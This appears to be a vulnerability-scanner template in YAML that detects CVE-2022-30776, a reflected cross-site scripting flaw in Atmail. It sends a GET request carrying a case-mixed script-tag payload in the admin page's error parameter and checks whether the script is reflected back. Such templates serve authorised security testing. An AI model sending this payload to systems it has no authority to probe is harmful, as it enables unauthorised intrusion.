26 lines
492 B
YAML
26 lines
492 B
YAML
|
id: CVE-2022-30776
|
||
|
|
|
||
|
|
info:
|
||
|
|
name: Atmail Xss
|
||
|
|
author: 3th1c_yuk1
|
||
|
|
severity: medium
|
||
|
|
reference:
|
||
|
|
- https://medium.com/@bhattronit96/cve-2022-30776-cd34f977c2b9
|
||
|
|
|
||
|
|
requests:
|
||
|
|
- method: GET
|
||
|
|
path:
|
||
|
|
- "{{BaseURL}}/atmail/index.php/admin/index/?error=1<ScRiPt>alert('XSS')</ScRiPt>"
|
||
|
|
|
||
|
|
matchers-condition: and
|
||
|
|
matchers:
|
||
|
|
|
||
|
|
- type: word
|
||
|
|
words:
|
||
|
|
- "<script>alert('XSS')</script>"
|
||
|
|
|
||
|
|
- type: word
|
||
|
|
part: header
|
||
|
|
words:
|
||
|
|
- "text/html"
|